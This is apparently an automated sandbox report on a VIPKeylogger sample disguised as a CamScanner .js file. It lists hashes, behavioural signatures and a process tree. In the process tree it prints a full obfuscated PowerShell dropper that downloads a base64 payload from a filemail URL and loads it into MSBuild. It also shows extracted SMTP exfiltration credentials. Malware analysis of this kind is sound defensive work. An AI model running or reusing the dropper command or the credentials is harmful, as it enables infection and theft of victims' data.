Resubmissions

18/02/2025, 13:36

250218-qwd4cs1jgx 10

18/02/2025, 13:35

250218-qvphps1jfs 10

Analysis

  • max time kernel
    432s
  • max time network
    433s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250217-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
  • submitted
    18/02/2025, 13:35

General

  • Target

    CamScanner 02-13-20251913.js

  • Size

    311KB

  • MD5

    0f46741439a8c946516d94701cf79880

  • SHA1

    87f08d8468836229b17cba9038057c2063a70435

  • SHA256

    033b8f0ed742cf0b279f710c47496a522a338da63d16007395e9d409271ee77e

  • SHA512

    c92e96c6bd661d558a1070a8fc855e418c6ff4decb27f2e52a0069bf02dd76887e7eac1f3a05906693eb25f21fa9d5c13476104bca160ad8290b469a940c4441

  • SSDEEP

    3072:5vJ5HovJ5HovJ5HovJ5H7vJ5HovJ5HovJ5HovJ5H4vJ5HovJ5HovJ5HovJ5H8RTP:6Px1L

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://3005.filemail.com/api/file/get?filekey=nIx_5T0LxHOBjilNb9CRviabPjrW2dlC-LxeOdJPF_Z_1MP6CuQBS5KcptA&pk_vid=342803d1cc4e3b801739359203b5fe9d

exe.dropper

https://3005.filemail.com/api/file/get?filekey=nIx_5T0LxHOBjilNb9CRviabPjrW2dlC-LxeOdJPF_Z_1MP6CuQBS5KcptA&pk_vid=342803d1cc4e3b801739359203b5fe9d

Extracted

Credentials

  • Protocol:
    smtp
  • Host:
    142.171.169.81
  • Port:
    587
  • Username:
    [email protected]
  • Password:
    !z34db8K4

Extracted

Family

vipkeylogger

Credentials

Signatures

  • VIPKeylogger

    VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.

  • Vipkeylogger family
  • Blocklisted process makes network request 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe "C:\Users\Admin\AppData\Local\Temp\CamScanner 02-13-20251913.js"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1556
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$Sydney = 'oSTQy/sr.e#sap//:sp##h';$luncheon = $Sydney -replace '#', 't';$diazotrophs = 'https://3005.filemail.com/api/file/get?filekey=nIx_5T0LxHOBjilNb9CRviabPjrW2dlC-LxeOdJPF_Z_1MP6CuQBS5KcptA&pk_vid=342803d1cc4e3b801739359203b5fe9d';$phobia = New-Object System.Net.WebClient;$indemonstrable = $phobia.DownloadData($diazotrophs);$silveriest = [System.Text.Encoding]::UTF8.GetString($indemonstrable);$globule = '<<BASE64_START>>';$Fwiffo = '<<BASE64_END>>';$greenhew = $silveriest.IndexOf($globule);$doojigger = $silveriest.IndexOf($Fwiffo);$greenhew -ge 0 -and $doojigger -gt $greenhew;$greenhew += $globule.Length;$Jacqui = $doojigger - $greenhew;$autolysate = $silveriest.Substring($greenhew, $Jacqui);$andradite = [System.Convert]::FromBase64String($autolysate);$alkannin = [System.Reflection.Assembly]::Load($andradite);$fabiana = [dnlib.IO.Home].GetMethod('VAI').Invoke($null, [object[]] @($luncheon,'','','','MSBuild','','','','','','','','','',''))"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4820
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        3⤵
          PID:5052
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
          3⤵
            PID:2928
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
            3⤵
            • Accesses Microsoft Outlook profiles
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • outlook_office_path
            • outlook_win_path
            PID:4228

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lwkuxdbz.eoz.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • memory/4228-19-0x0000000006070000-0x0000000006614000-memory.dmp

        Filesize

        5.6MB

      • memory/4228-25-0x0000000006F40000-0x0000000006F4A000-memory.dmp

        Filesize

        40KB

      • memory/4228-24-0x0000000006FC0000-0x0000000007052000-memory.dmp

        Filesize

        584KB

      • memory/4228-23-0x0000000007450000-0x000000000797C000-memory.dmp

        Filesize

        5.2MB

      • memory/4228-22-0x0000000006BF0000-0x0000000006C40000-memory.dmp

        Filesize

        320KB

      • memory/4228-21-0x0000000006D50000-0x0000000006F12000-memory.dmp

        Filesize

        1.8MB

      • memory/4228-16-0x0000000000400000-0x0000000000448000-memory.dmp

        Filesize

        288KB

      • memory/4228-20-0x0000000005A10000-0x0000000005AAC000-memory.dmp

        Filesize

        624KB

      • memory/4820-13-0x00007FFE3E790000-0x00007FFE3F251000-memory.dmp

        Filesize

        10.8MB

      • memory/4820-18-0x00007FFE3E790000-0x00007FFE3F251000-memory.dmp

        Filesize

        10.8MB

      • memory/4820-15-0x0000021E94ED0000-0x0000021E94EDC000-memory.dmp

        Filesize

        48KB

      • memory/4820-14-0x0000021EAF680000-0x0000021EAF886000-memory.dmp

        Filesize

        2.0MB

      • memory/4820-1-0x00007FFE3E793000-0x00007FFE3E795000-memory.dmp

        Filesize

        8KB

      • memory/4820-12-0x00007FFE3E790000-0x00007FFE3F251000-memory.dmp

        Filesize

        10.8MB

      • memory/4820-7-0x0000021E94EE0000-0x0000021E94F02000-memory.dmp

        Filesize

        136KB